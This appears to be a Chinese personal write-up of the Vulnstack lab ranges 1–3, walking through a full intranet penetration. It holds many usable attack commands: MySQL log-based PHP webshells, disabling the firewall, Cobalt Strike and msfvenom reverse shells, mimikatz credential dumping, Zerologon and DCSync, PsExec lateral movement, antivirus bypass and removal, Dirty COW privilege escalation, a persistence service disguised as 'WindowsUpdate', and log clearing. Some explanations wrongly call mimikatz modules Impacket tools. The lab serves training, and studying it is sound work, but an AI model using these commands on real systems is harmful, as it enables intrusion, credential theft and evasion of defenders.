loading

Vulnstack红日靶场通关(装环境出问题本人精神状态良好)

Vulnstack通关

来源于《内网渗透实战攻略》实战部分

个人是写下自己的笔记

攻击链:探索发现阶段->入侵和感染阶段->攻击和利用阶段->探索感知阶段->传播阶段->持久化和恢复阶段

Windows权限级别前置知识:

权限层级 账户类型 权限范围 常见用途 安全风险 提权方法
普通用户 (User) 标准用户账户 - 运行应用程序 - 修改个人文件 - 无法安装软件或修改系统设置 日常办公、网页浏览、文档编辑 无法操作系统核心功能,攻击面有限 利用漏洞(如 UAC 绕过、DLL 劫持)
管理员 (Administrator) 管理员账户 - 安装/卸载软件 - 修改系统配置 - 管理用户账户 - 部分内核操作权限 系统维护、软件部署、用户管理 可能被恶意软件提权,导致系统完全沦陷 利用漏洞(如 MS08-067、永恒之蓝)、滥用计划任务、Token 劫持
SYSTEM 系统内置账户 - 内核级权限 - 完全控制系统资源 - 访问所有硬件和驱动 - 绕过用户权限限制 运行系统服务(如 services.exe)、底层驱动加载、安全审计 攻击者可完全控制系统,隐藏痕迹难度高 利用服务漏洞(如 PrintSpooler)、滥用 PsExec、计划任务提权
Local Service 虚拟服务账户 - 本地网络访问权限 - 启动/停止相关服务 - 低权限系统操作 运行低权限后台服务(如 Windows Update 权限较低,但仍可被滥用于横向渗透 利用服务间信任关系、提权到 Network Service
Network Service 虚拟服务账户 - 网络访问权限(如访问网络共享) - 部分系统服务操作 运行需要网络权限的服务(如 DNS Client 可能通过横向渗透扩大攻击范围 利用网络协议漏洞、提权到 Local System
域管理员 (Domain Admin) 域控制器账户 - 管理整个域环境 - 控制域内所有用户和计算机 - 修改域策略 企业环境中的集中管理 域控沦陷将导致整个域被控制 黄金票据 (Golden Ticket)、域提权漏洞(如 CVE-2020-1472)
虚拟账户 (Virtual Account) 自动托管的服务账户 (如 NT SERVICE\wuauserv) - 特定服务的最小权限 - 隔离服务间权限

配置前置知识:

网络模式 通信范围 IP 地址分配 典型用途 优点 缺点
NAT 宿主机与外部网络,虚拟机之间不互通 由宿主机 DHCP 分配(私有 IP) 虚拟机需访问外部网络(如互联网),但不需要被外部主动访问 隔离宿主机与外网,安全性高 虚拟机之间无法直接通信
NAT 网络 宿主机、虚拟机之间,及外部网络 由 NAT 网络 DHCP 分配(私有 IP) 多个虚拟机需共享宿主机网络访问外网,且虚拟机之间需要互访 支持多虚拟机互联,灵活性高 配置较复杂,依赖宿主机网络
桥接 Bridged 宿主机所在物理网络(与局域网平级) 由路由器 DHCP 分配(与宿主机同级) 虚拟机需作为独立设备接入局域网(如模拟真实设备) 虚拟机与宿主机、局域网设备完全互通 可能占用局域网 IP,安全性较低
内部网络 Internal 仅虚拟机之间(隔离环境) 无 DHCP,需手动分配静态 IP 模拟完全隔离的内网环境(如测试内网渗透) 完全隔离,无外部干扰 无法连接宿主机或互联网
仅主机 Host-Only 宿主机与虚拟机之间 由虚拟网络适配器分配(私有 IP) 宿主机与虚拟机之间需要私密通信(如测试 Web 服务器与宿主机的交互) 宿主机与虚拟机双向通信,安全性较高 虚拟机无法访问外部网络

Cobalt Strike配置教程:

client为客户端,Server为服务端。

以linux系统虚拟机(或服务器)为服务端,首先配置环境:

sudo apt-get install openjdk-11-jdk

然后打开服务端:

chmod 777 teamserver
chmod 777 TeamServerImage
./teamserver [服务端IP] [连接密码]

打开客户端连接:

image-20250327215601920

Vulnstack1

VM1——Windows 7 x64——Web服务器,双网卡(一个对内网访问一个对外网访问)

VM2——Win2K3 Metasploitable——内网域成员主机

VM3——Windows Server 2008 R2 x64——域控主机

img

虚拟机名称 角色/功能 网络配置 主要用途 典型攻击场景示例
VM1 Web服务器(跳板/网关) 双网卡(对外网卡+对内网卡) 1. 对外提供服务的Web应用 2. 作为内网与外网的通信跳板 3. 测试外网到内网的渗透链 1. 利用Web漏洞(如SQL注入、RCE)入侵 2. 通过跳板横向渗透内网其他主机
VM2 内网域成员主机(易受攻击目标) 仅内网网卡(与VM1/VM3通信) 1. 提供漏洞攻击实践环境(如永恒之蓝、MS08-067) 2. 模拟普通域成员主机权限提升 1. 利用漏洞获取本地管理员权限 2. 窃取域用户哈希进行横向渗透(如Pass-the-Hash)
VM3 域控制器(Domain Controller) 仅内网网卡(与VM1/VM2通信) 1. 模拟Active Directory域环境 2. 测试域提权、黄金票据等高级攻击 1. 破解域控制器SAM数据库获取域管理员权限 2. 伪造票据(Golden Ticket)控制域环境

配置如下:

image-20250327191405639

image-20250327191620354

image-20250327191633069

image-20250327194953257

注意:配置的子网地址必须是192.168.52.0,否则win7的web服务无法开启

登录密码为hongrisec@2019,有两台靶机密码会过期,为了防止出现问题将三台靶机密码都重新设置同样的密码。

启动WEB服务:

image-20250327195117456

PHPStudy 是一款面向开发者的 ​本地 PHP 开发环境集成工具,主要用于快速搭建和管理 PHP + MySQL + Apache/Nginx 的运行环境,尤其适合 Windows 系统下的 PHP 本地调试和项目部署。

登录web服务器靶机查看IP地址,测试连通性后即可开始:

image-20250327195249909

探索发现阶段:

进行端口扫描:

image-20250327210521378

识别 80 端口的web应用框架和版本:

image-20250327195328209

直接暴露探针页面,泄露了当前站点使用了PHPSTUDY这一信息(绝对路径)

还给出了MySQL数据库连接测试功能点,使用root/root默认密码登录成功:

image-20250327210725066

使用navicat远程连接数据库失败,推测该服务设置了远程白名单:

image-20250327211047926

入侵和感染阶段

通过Web目录枚举扩大攻击面:

image-20250327211352755

image-20250327211340832

找到了phpMyAdmin平台的访问地址,进行访问:

image-20250327211510846

phpMyAdmin

phpMyAdmin 是一个基于 Web 的 MySQL/MariaDB 数据库管理工具,通过图形化界面(GUI)简化数据库的创建、维护和操作。它用 PHP 编写,支持跨平台(Windows/Linux/macOS),无需命令行基础即可管理数据库。

此处按照登录框测试流程思路(详见The Hackers Labs(打靶场练习) - Super_Snow_Sword - 博客园),优先使用之前得到的用户密码root/root尝试登录:

image-20250327212014070

利用 phpMyAdmin 日志文件获取Web服务器权限

首先确认当前日志文件设置情况,执行SQL语句:

show variables like "general_log%";
SHOW VARIABLES MySQL 命令,用于显示系统变量的当前值。
LIKE "general_log%" 过滤条件,匹配变量名以 general_log 开头的所有变量(模糊查询)。

执行后显示日志功能为关闭状态,默认日志文件路径为C:\phpStudy\MySQL\data\stu1.log

image-20250327213010774

获得webshell步骤如下:

1.开启日志功能

set global general_log='on';

2.更改日志文件目录

set global general_log_file = "C:\\phpstudy\\www\\shell.php";

3.向日志中写入恶意代码

select "<?php system($_REQUEST[cmd]);?>";

这样日志文件C:\\phpstudy\\www\\shll.php就会写入select "<?php system($_REQUEST[cmd]);?>";

我们可以直接测试webshell:

image-20250327213703785

进行目录遍历,发现新的目录:

image-20250327214047591

image-20250327214319652

发现新目录并且公告信息中泄露了后台登录地址、用户名和密码

直接登录

image-20250327214415120

这里也有SQL执行功能,可以注入webshell

拥有了webshell就可以通过远程命令执行上线Cobalt Strike了

关闭防火墙:

netsh advfirewall set allprofiles state off

生成恶意文件,让恶意文件执行即可让Cobalt Strike获得一个反弹shell(使用了蚁剑操作,用了其他另一个一句话木马<?php eval($_REQUEST[cmd]);?>):

image-20250327221949305

恶意文件创建成功后上传文件到靶机上:

image-20250327223150985

image-20250327223313782

反弹shell连接默认每60秒交互一次,我们将其改为实时交互:

image-20250327223551986

CS获得实时交互功能:

sleep 0

image-20250327223610597

通过shell [命令]的方式与终端进行交互

image-20250327223714153

攻击和利用阶段

通过systeminfo命令发现该Web服务器是64位的Windows 7 系统:

image-20250327225828875

有前面的步骤我们已经得到了64位的反弹shell连接(注意反弹shell的arch栏),因此我们可以直接提权为SYSTEM权限

getsystem

image-20250327230421128

若当前获得的是一个32位shell进程,则还需要获得一个64位的反弹shell连接

借助进程注入的方式实现64位反弹shell的获取

1.查看目标主机本地的进程列表

shell tasklist

image-20250327230739903

2.注入目标进程,优先选择非系统进程(防止注入操作导致系统崩溃),并且尽量选择常见的程序进程

这里选择Everything.exe,其PID为3032:

image-20250327231008178

inject 3032 x64

image-20250327231109562

现在就有新的x64反弹shell了,getsystem提权即可

探索感知阶段

收集内网域服务器信息

net view

image-20250327231326978

发现两台内网主机,PDC(Primary Domain Controller)为主域控制器主机,另一台为普通的域成员主机

还有一个STU1是我们拿下的WEB服务器主机的内网地址

可以在CS中列出我们的目标:

image-20250327231549293

image-20250327231626366

抓取哈希及转储明文密码

Cobalt Strike的Beacon反弹Shell自带Mimikatz套件,因此可以直接读取本地密码和哈希:

logonpasswords

image-20250327231859479

可以看出密码明文是我改成的hongrisec@2022

同时可以发现该Administrator用户属于域GOD内的域用户,这意味着我们可以借助他的用户密码尝试登录其他域主机

传播阶段

使用PsExec建立IPC通道,上线域控服务器

PsExec相关介绍可以看这篇相关的流量分析:CyberDefenders通关(持续缓慢更新) - Super_Snow_Sword - 博客园

直接横向移动上线:

image-20250327232421321

image-20250327232601575

同时添加一个SMB协议的监听器作为内网传输媒介

image-20250327232631572

选择当前拥有的64位反弹shell会话作为发起该操作的会话:

image-20250327232849207

就这样我们成功上线域控服务器

同理我们可以上线域成员服务器全部拿下:

image-20250327233410337

攻击者控制台 (CS)
│
├─ 1. 使用 PsExec 通过 SMB 协议连接目标机器
│   │
│   ├─ 上传恶意 Payload 到目标机器的 IPC$ 共享目录【进程间通信(Inter-Process Communication)】
│   └─ 通过远程进程注入执行 Payload,建立初始 Shell 会话
│
├─ 2. 添加 SMB 监听器(作为内网通信中继)
│   │
│   ├─ 监听器监听本地端口(如 445),接收来自内网的反向连接
│   └─ 通过加密通道中转流量(规避防火墙检测)
│
└─ 3. 利用现有 64 位 Shell 会话发起横向移动
    │
    ├─ 通过已控制的 64 位进程注入恶意代码
    └─ 执行提权操作或扫描内网其他主机

持久化和恢复阶段

常见的后门

  • 建立计划任务,定时连接远程服务器
  • 设置开机启动程序,每次开机都会触发执行恶意程序
  • 新建系统管理员账号

通过Cobalt Strike持久化控制服务器

service功能对唯一可以联通外网的Windows 7 操作系统主机进行权限维持

首先生成一个恶意程序(之前已经做过)

查看被控制的目标主机本地的所有文件:

image-20250327233955889

将恶意文件上传到桌面:

image-20250327234109893

执行命令:

sc create "WindowsUpdate" binpath= "cmd /c start "C:\Users\Administrator\Desktop\artifact_x64.exe"" && sc config "WindowsUpdate" start= auto && net start WindowsUpdate
步骤 命令/参数 作用 详细说明 风险点
创建恶意服务 sc create "WindowsUpdate" binpath= "cmd /c start C:\Users\Administrator\Desktop\artifact_x64.exe" 创建名为 WindowsUpdate 的服务,并关联恶意程序路径。 - sc create 是 Windows 服务管理工具命令。 - binpath 指定服务启动时执行的命令: - cmd /c start:通过命令提示符启动恶意程序 artifact_x64.exe。 - 路径指向桌面文件,可能存在权限或路径错误风险。 - 恶意程序被注册为服务,难以察觉。 - 使用 cmd /c start 绕过直接执行程序的检测。 - 路径冗余(cmd /c start 可简化为直接指定可执行文件)。
配置自动启动 sc config "WindowsUpdate" start= auto 将服务设置为开机自动启动,确保恶意程序随系统启动。 - start= auto 表示服务自动启动。 - 修改注册表键值 HKLM\System\CurrentControlSet\Services\WindowsUpdateStart 值为 2(自动)。 - 即使删除服务,仍可能通过注册表残留恢复。 - 系统启动时自动执行恶意程序,持久化风险高。
启动服务 net start WindowsUpdate 立即启动恶意服务,触发 artifact_x64.exe 执行。 - net start 用于启动已创建的服务。 - 恶意程序被直接运行,可能释放更多攻击载荷或隐藏进程。 - 立即执行恶意代码,可能导致系统崩溃或异常行为。 - 服务启动失败时会留下错误日志,暴露攻击痕迹。

恢复阶段的攻击

1.删除上传的所有webshell

2.还原MySQL日志设置

set global general_log='off';

3.清除系统日志等(这里书上就一句话没有具体操作,如果我是蓝队看到安全日志有那么多登录记录我会立刻拔掉网线):

image-20250328000453571

Vulnstack2

(这次的靶场不会连接外网,因此CS上线要么用虚拟机搭建Server,要么连接外网)

WEB.de1ay.com——Web服务器,双网卡(一个对内网访问一个对外网访问)

PC.de1ay.com——内网域成员主机,双网卡

DC.de1ay.com——域控主机

拓扑图:

img

配置如下(要按照规则来):

image-20250328173221282

image-20250328162721070

image-20250328163331911

image-20250328163340806

所有主机默认登录密码为:1qaz@WSX(注意web靶机需要切换用户登录):

image-20250328170645971

C:\Oracle\Middleware\user_projects\domains\base_domain目录下开启weblogic启动WEB环境

WebLogic 是 Oracle 公司推出的 企业级 Java EE 应用服务器,基于 J2EE 标准(现为 Jakarta EE),用于开发、部署和管理大型分布式应用程序。它支持高并发、高可用性架构,广泛应用于金融、电信、政府等对稳定性要求极高的行业。

使用管理员权限Administrator/1qaz@WSX

image-20250328172424209

image-20250328172802251

前置知识:

Kerberos 认证流程

以下以用户登录域环境并访问文件服务器为例,简述其核心步骤:

1. 用户登录(获取 TGT)

  • 步骤:
    • 用户输入域账号密码后,客户端将密码哈希发送至 认证服务器(AS)
    • AS 验证用户身份后,生成 TGT(Ticket Granting Ticket,票据授予票据),并用 TGS 密钥(仅 AS 和 TGS 知晓)加密后返回给客户端。
  • 关键组件:
    • TGT:包含用户身份、有效期及访问 TGS 的权限,有效期默认 10 小时。
    • TGS 密钥:用于加密后续的 Service Ticket。

2. 请求服务票据(TGS_REQ/TGS_REP)

  • 步骤:
    • 用户访问文件服务器时,客户端向 票据授予服务器(TGS)发送请求,包含:
      • TGT(已解密的 TGS 密钥)。
      • 目标服务的 SPN(Service Principal Name,如 cifs/fileserver.domain.com)。
    • TGS 验证 TGT 后,生成 Service Ticket,并用目标服务的密钥加密后返回给客户端。
  • 关键组件:
    • Service Ticket:包含用户对目标服务的访问权限,由目标服务密钥加密。

3. 访问服务(服务验证)

  • 步骤:
    • 客户端将 Service Ticket 发送给目标服务(如文件服务器)。
    • 服务用自身密钥解密票据,验证用户身份和权限,确认无误后允许访问。
组件 角色
AS(Authentication Server) 负责验证用户身份并发放 TGT。
TGS(Ticket Granting Server) 根据 TGT 签发针对特定服务的 Service Ticket。
KDC(Key Distribution Center) 包含 AS 和 TGS 的密钥分发中心,存储所有用户和服务的密钥。
SPN(Service Principal Name) 服务的唯一标识符(如 HTTP/webserver.domain.com),关联服务账户的密钥。

探索发现阶段

进行端口扫描:

image-20250328200429051

主要发现有两个端口开放了WEB应用服务

首先尝试访问80端口,空白页面,查看页面源码也没有注释等隐藏信息:

image-20250328200624248

访问7001端口,发现是weblogic开放的WEB应用。尝试访问weblogic默认登录页面/console/login/LoginForm.jsp

image-20250328200915379

image-20250328201033670

不知道账号密码

此外开放的还有3389端口(RDP服务)、1433端口(MSSQL服务)

image-20250328205844889

image-20250328205853284

入侵和感染阶段

使用Weblogic历史漏洞批量扫描工具WeblogicScanner进行漏洞扫描

python ws.py -t 192.168.111.80

image-20250328210955899

利用反序列化漏洞攻击Weblogic

CVE-2019-2725和CVE-2020-14882都是服务远程代码执行漏洞,并且POC已公开

上网查询POC并利用

或者直接用一键利用工具:sp4zcmd/WeblogicExploit-GUI: Weblogic漏洞利用图形化工具 支持注入内存马、一键上传webshell、命令执行

image-20250328213708887

连接成功:

image-20250328213852098

执行ipconfig/all命令,查看web服务器的IP信息

image-20250328214005290

可以发现主 DNS 后缀即域名为de1ay.com

执行ping de1ay.com命令,查看域控服务器的IP

image-20250328214219951

收集到的信息:

  • Web服务器当前用户名为web\de1ay
  • Web服务器且存在双网卡,IP分别为10.10.10.80和192.168.111.80
  • Web服务器所在的内网环境存在域de1ay.com,且域控服务器IP为10.10.10.10

攻击和利用阶段

利用cmd webshell写入冰蝎马(书上的使用POC只得到cmd webshell的情况)

执行命令查看web服务器的进程列表:

tasklist/SVC

列出当前所有运行的进程及其关联的服务信息

image-20250328214806305

借助Windows杀软在线对比工具Windows杀软在线查询🔰雨苁🔰

image-20250328215007471

在WebLogic中,有一个可以访问的Web目录为wls-wsat,对应物理路径为C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\wls_wsat\54p17w\war

在cmd webshell中使用echo命令写入冰蝎马:

echo [冰蝎马内容] > C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\wls_wsat\54p17w\war\bingxie.jsp

通过冰蝎3将WebLogic服务器上线到Metasploit

image-20250328230714980

冰蝎 webshell管理工具支持一键上线Metasploit和Cobalt Strike功能

kali(公网)中使用msfconsole命令打开Metasploit后命令执行:

use exploit/multi/handler
set payload java/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 4321
exploit
  1. 选择 Metasploit 内置的 多平台监听器模块multi/handler),用于接收攻击载荷(Payload)的连接。
  2. 通过 Java 漏洞在目标机器植入 Meterpreter,建立持久控制通道。
  3. 设定监听所有网络接口的4321端口
  4. 启动监听模块

在冰蝎中使用反弹shell将当前服务器的webshell上线到Metasploit

然而java/windows类型的Metasploit会话存在较大限制

其实可以直接上传恶意文件了……

绕过360,将WebLogic服务器上线到Cobalt Strike

使用Cobalt Strike免杀插件bypassAV(项目地址:hack2fun/BypassAV: Cobalt Strike插件,用于快速生成免杀的可执行文件

image-20250328225531573

image-20250328225517714

有了之后,直接生成一个Bypass可绕过360的恶意文件,文件上传成功后运行即可

干掉杀软

创建用户

net user snow 123456 /add
net localgroup Administrators snow /add

登录失败,直接更改Administrator的密码

net user Administrator [复杂的密码]

利用3389端口连接靶机,删除杀软和防火墙

image-20250328235109180

image-20250328235526325

总而言之很快就能上线了:

image-20250329144224212

使用梼杌插件进行提权

如果按照书上的步骤来只有web\de1ay的权限,因此书上有提权的教程

image-20250329144317007

image-20250329144943213

抓取哈希及转储明文密码

logonpasswords

image-20250329144739060

image-20250329144826788

(WEB用户的密码在前面的操作被我改了)

探索感知阶段

收集内网域服务器信息

网络探测会报错,进行端口扫描

image-20250329145208970

image-20250329145403423

image-20250329145613607

根据端口扫描的结果可以知道:

域内存在三台主机:

10.10.10.80——WEB服务器

10.10.10.1010.10.10.201

传播阶段

利用Zerologon漏洞攻击域控服务器

Netlogon服务是什么

Netlogon 是 Windows 操作系统中的一个关键服务,主要用于管理 Active Directory(AD)域环境 中的身份验证、安全通信和计算机/用户账户的注册。它是域控制器(Domain Controller, DC)和域成员计算机之间进行安全交互的核心组件。

主要功能

  1. 建立安全通信通道
    • Netlogon 在客户端(如用户计算机)和域控制器之间创建加密的安全通道,确保身份验证信息(如密码、令牌)的传输安全。
    • 使用协议如 SMB(Server Message Block)RPC(Remote Procedure Call) 进行加密通信。
  2. 计算机账户管理
    • 当计算机加入域时,Netlogon 负责将计算机账户信息注册到域控制器的 AD 数据库中。
    • 定期续订计算机账户的密码(默认每 30 天更新一次),防止账户过期导致访问中断。
  3. 用户身份验证
    • 验证用户登录时提供的凭据(如用户名和密码),并与 AD 中的信息比对,确保合法用户访问资源。
  4. 域控制器发现与复制
    • 帮助客户端找到最近的域控制器,并协助域控制器之间的 AD 数据同步(复制)。
  5. 时间同步
    • 确保客户端和域控制器的时间一致(通过 NTP 协议),这对 Kerberos 认证至关重要(时间误差需小于 5 分钟)。

Zerologon(CVE-2020-1472)是 Windows Netlogon 服务中的一个高危漏洞,于2020年8月被公开披露。它允许攻击者在未提供有效凭据的情况下,完全控制域控制器(Domain Controller, DC),进而危及整个 Active Directory(AD)域环境的安全。攻击者利用此漏洞可直接将域控制器的计算机账户密码重置为空密码(全零),随后劫持域控制器的身份,完全控制域环境。

将mimikatz上传到WEB服务器中,执行命令:

lsadump::zerologon /target:DC.de1ay.com /account:DC$ /exploit
  1. lsadump::zerologon
    调用 Impacket 工具包中的 lsadump 模块,专门用于执行 Zerologon 漏洞利用。
  2. /target:DC.delay.com
    指定目标域控制器的 FQDN(完全限定域名),此处为 DC.delay.com。攻击者需确保目标主机开放 Netlogon 服务(TCP 445 端口)。
  3. /account:DC$
    指定目标计算机账户名称,DC$ 表示域控制器本身的计算机账户(通常为域控制器计算机名的 $ 后缀账户)。
  4. /exploit
    触发漏洞利用流程,尝试重置目标域控制器的计算机账户密码为空密码(全零)。

image-20250329154728600

再执行以下命令获取域控服务器的登录凭据:

lsadump::dcsync /domain:de1ay.com /dc:DC.de1ay.com /user:administrator /authuser:DC$ /authdomain:de1ay /authpassword:"" /authntlm
  1. lsadump::dcsync
    调用 Impacket 工具包中的 lsadump 模块,执行 DCSync 攻击。
  2. /domain:de1ay.com
    指定目标域的名称(de1ay.com),攻击者需确保该域存在且可访问。
  3. /dc:DC.de1ay.com
    指定目标域控制器的 FQDN(DC.de1ay.com),攻击者需确保该 DC 开放 LDAP/LDAPS 服务(TCP 389/636 端口)。
  4. /user:administration
    指定要模拟的域用户账户(例如 administration),攻击者试图以该用户身份执行 DCSync 操作。
  5. /authuser:DC$
    提供用于身份验证的域账户(DC$ 是域控制器的计算机账户),攻击者可能通过该账户的权限进行认证。
  6. /authdomain:de1ay
    指定认证的域名(de1ay),需与目标域匹配。
  7. /authpassword:""
    提供认证账户的密码(此处为空字符串,可能是示例占位符或实际攻击中未填写)。
  8. /authntlm
    指定使用 ​NTLM 协议 进行身份验证(而非 Kerberos)。

image-20250329160657888

DCSync(Domain Controller Synchronization)是一种 主动目录(Active Directory)攻击,攻击者伪装成域控制器(DC),利用 MS-DRSR(Microsoft Directory Replication Service Remote Protocol) 请求 同步域用户的凭据,最终获取 NTLM 哈希值,进而进行进一步的攻击(如离线破解或Pass-the-Hash 攻击)。

域控制器之间的同步机制

  • 在 Windows 域环境中,域控制器(DC)之间需要定期同步数据,包括用户信息和凭据。
  • 这种同步是通过 DRSGetNCChanges 远程过程调用(RPC)实现的,它属于 MS-DRSR(Directory Replication Service)。

攻击者利用 DRS 复制功能

  • 如果攻击者能获取 足够的权限(如域管理员权限或 Replication Get Changes 权限),就可以伪装成 DC,向真正的 DC 请求同步用户凭据
  • 由于这是 Windows 设计中的正常行为,DC 不会察觉异常,并会返回所有用户 NTLM 哈希

攻击者获取域用户的 NTLM 哈希

  • 一旦成功,攻击者就能获得所有域用户的 NTLM 哈希(包括 krbtgt 账户的哈希)。
  • 之后可以利用 Pass-the-Hash离线破解,获取明文密码。

为了防止域控服务器脱域,执行以下命令:

lsadump::postzerologon /target:de1ay.com /account:DC$

这是使用 Impacket 工具包 中的 lsadump 模块,在 Zerologon 漏洞(CVE-2020-1472)利用成功后 执行的后续操作。其核心目的是:

  1. 利用重置后的空密码:通过 Zerologon 将域控制器(DC)的计算机账户密码重置为空(全零)后,利用空密码进行非法认证。
  2. 提取敏感数据:从域控制器中窃取用户密码哈希、Kerberos 密钥等关键信息,为横向渗透做准备。

为什么域控密码改变后会脱域?

1. 域控身份验证机制依赖密码一致性

  • 计算机账户密码的作用:

    域控制器(DC)的计算机账户密码(默认每 30 天自动更新)是 DC 与其他域控制器(及成员计算机)建立安全通信通道的关键凭证。

  • 如果密码被非法修改(如重置为空),DC 与其他 DC 的 信任关系 将被破坏,导致域内复制和认证失败。

2. 密码不一致触发安全机制

  • 域内复制失败
    当 DC 的密码被重置为空后,其他 DC 在尝试复制数据时会检测到密码不匹配,认为该 DC 已被入侵,从而将其标记为 ​不可信
  • 域成员验证失败
    成员计算机与 DC 的安全通道(如 Kerberos 认证、LSASS 交互)依赖正确的 DC 密码。密码错误会导致验证失败,成员计算机可能被 ​踢出域

3. 域控功能瘫痪

  • AD 数据库同步中断
    DC 的密码错误会阻止其与 ​域命名主机(PDC Emulator)​ 的复制操作,导致 AD 数据库无法更新,最终部分 DC 因数据不一致而 ​自动脱域
  • 服务依赖崩溃
    依赖域认证的服务(如 Exchange、文件共享)因无法验证用户身份而中断,进一步加剧脱域影响。

使用PsExec建立IPC通道,上线域控服务器

借助口令复用攻击实现在内网的传播:

image-20250329162828461

添加后进行横向移动:

image-20250329163658174

接着口令复用得到了域成员的权限

我们使用了黄金票据的技术( 利用Zerologon漏洞获取哈希)进行了TGT(服务票据)伪造,之后以域管理员身份横向渗透

技术 类型 攻击目标 防御关键点
黄金票据 Kerberos TGT 伪造 域控制器权限 限制 DC 计算机账户权限
白银票据 Kerberos TGS 伪造 特定服务(如 SMB、RDP) 监控服务账户活动
Sid History AD 权限继承 跨域/账户权限维持 审计 Sid History 属性
MOF WMI 代码执行 系统持久化后门 限制 WMI 权限与文件监控

持久化和恢复阶段

同理,设置启动服务执行恶意文件即可:

sc create "WindowsUpdate" binpath= "cmd /c start "C:\Users\Administrator\Desktop\artifact_x64.exe"" && sc config "WindowsUpdate" start= auto && net start WindowsUpdate

Vulnstack3

web-centos——外网Web服务器,使用了反向代理将内网web1靶机上部署的服务代理出来了,双网卡(一个对内网访问一个对外网访问)

web1-ubantu——内网Web服务器

pc——内网域成员主机

win2008——内网域成员主机

Windows Server 2012——域控主机

配置如下:

重点在于VMnet2网卡的配置(所有内网主机的快照默认使用VMnet2)和NAT模式的配置(web服务器双网卡)

image-20250403114242171

在web-centos中重新配置网卡IP:

service network restart

我的环境如下:

image-20250403114438187

探索发现阶段:

进行端口扫描:

image-20250403114720489

总共三个开放端口:80、22、3306

访问网站,观察其框架:

image-20250403115337455

使用的是Joomla框架

入侵和感染阶段:

弱口令爆破成功:

image-20250403120136932

对其进行连接:

image-20250403120544536

有了数据库权限即可通过MYSQL植入webshell,这次使用的函数是outfile

MYSQL植入webshell

查看secure_file_priv的值,若其为空则可以向任意绝对路径写入文件:

show global variables like "%secure%";

SHOW GLOBAL VARIABLES:查询 MySQL 服务器的全局配置变量。

LIKE "%secure%":使用通配符 % 进行模糊匹配,筛选出名称包含 secure 的变量。

image-20250403121609532

secure_file_priv 作用

  • 该变量决定 SELECT INTO OUTFILELOAD DATA INFILE 命令的操作权限:
    • 为空(""允许向任意路径写入文件(⚠️ 存在安全风险)。
    • NULL禁止 任何文件写入或读取操作。
    • 为特定目录路径仅允许在该目录中操作

接下来要确定应用服务器的web目录,进行目录扫描发现配置文件的备份或临时文件configuration.php~,里面有网web目录信息:

image-20250403122648480

web目录为/var/www/html,可以使用以下命令传马:

select "<?php eval($_REQUEST[cmd]);?>"  into OUTFILE "/var/www/html/111.php"

image-20250403134645122

权限不足,无法写入🤡

因此使用之前的方法——开启MYSQL日志功能,并写入webshell

set global general_log='on';
set global general_log_file = "/var/www/html/shell.php";
select "<?php eval($_REQUEST[cmd]);?>";

但写入失败:

image-20250403135033757

对Joomla框架进行攻击

之前目录扫描发现后台登录口:

image-20250403135240288

配置文件中还含有为数据库配置的默认用户密码:

image-20250403135409686

尝试以testuser身份连接数据库:

image-20250403140024786

Joomla服务恢复密码:

根据Joomla官网描述,将administrator的密码更改为secret即:

d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199

image-20250403135841865

登陆后台后,将一句话木马插入主页面:

image-20250403141053899

image-20250403141502816

根据页面给出的Editing file "/index.php" in template "beez3".得知我们写入的webshell目录为:

http://192.168.96.128/templates/beez3/index.php

image-20250403141852643

尝试命令执行,不能成功

image-20250403142444458

出于安全防护的考虑,很多Web服务往往会禁用一些危险函数,因此我们猜测此处可能设置了disable_functions,因此创建一个phpinfo页面来查看:

<?php phpinfo();?>

image-20250403143709003

很多函数都被禁用了,但蚁剑有绕过的插件

image-20250403143818737

image-20250403143910532

成功命令执行,收集到内网IP信息:

image-20250403144010331

攻击和利用阶段

搜寻文件,发现:

image-20250403145406644

尝试使用ssh连接:

image-20250403150717710

可以发现一个此处的内网IP与之前Webshell中得到的不一样

之前得到的webshell的内网IP为192.168.93.120,此处得到的是192.168.93.100

因此可以推测靶机做了反向代理,对外外网的服务器反向代理内网中部署的Web应用

可以通过Nginx配置中发现反向代理的标签proxy_pass

image-20250403152848645

这说明CentOS服务器上的Nginx并不是运行Web服务的,而是用来反向代理的,并且CentOS服务器上的Nginx把收到的请求转发给内网服务器Ubuntu。

因此我们得到的有两台服务器的权限:

CentOS:192.168.96.128/192.168.93.100	ssh连接
Ubuntu:192.168.93.120	Webshell连接

Linux提权:

查看服务器内核版本:

cat /etc/issue

image-20250403153359424

可以尝试使用脏牛提权。

脏牛提权受影响版本:

发行版 受影响版本
Ubuntu 12.04 LTS, 14.04 LTS, 16.04 LTS
Debian 7.x (wheezy), 8.x (jessie)
CentOS/RHEL 6.x, 7.x
Fedora 22, 23, 24
SUSE Linux SLES 11, 12
Android 部分版本(需内核版本 < 3.18)

从github上获取项目(Pa55w0rd/dirtycow: 脏牛(Dirty Cow)是Linux内核的一个提权漏洞,攻击者可以利用这个漏洞获取root权限。),将dirty.c进行编译:

gcc -pthread dirty.c -o dirty -lcrypt
命令部分 含义
gcc 调用 GNU C 编译器(GNU Compiler Collection)。
-pthread 启用 POSIX 线程(pthreads)支持,确保代码正确链接线程库。
dirty.c 要编译的 C 语言源代码文件。
-o dirty 指定输出文件名为 dirty,默认情况下 GCC 会生成 a.out,此选项用于自定义可执行文件名。
-lcrypt 链接 crypt 库(用于加密、哈希密码等)。

给与权限后运行dirty

./dirty 123456

root用户密码即被更改为123456

Linux服务器上线MSF

用MSF生成一个shellcode用于上线:

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=[虚拟机ip] LPORT=5555 -f elf > payload.elf

上传到靶机,打开监听:

msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost [虚拟机IP]
set lport 5555
run

再在靶机上运行即可上线:

image-20250403160617922

探索感知阶段

利用MSF配置内网路由

执行route命令查看CentOS服务器的内网相关信息:

image-20250403161054728

192.168.96.0/24连通外网

192.168.93.0/24连通内网

为了探测192.168.93.0/24网段其他主机的信息,需要添加192.168.93.0/24网段路由,配置路由:

run autoroute -s 192.168.93.0/24
background
use auxiliary/server/socks_proxy
set SRVPORT 6677
run
命令 解析
run autoroute -s 192.168.93.0/24 在当前会话中添加路由,使 Metasploit 能够访问 192.168.93.0/24 内网。
background 将当前会话 后台运行,以便执行其他 Metasploit 模块。
use auxiliary/server/socks_proxy 选择 Metasploit 中的 SOCKS 代理模块,用于创建代理服务,以便透过已获取的目标系统访问内网资源。
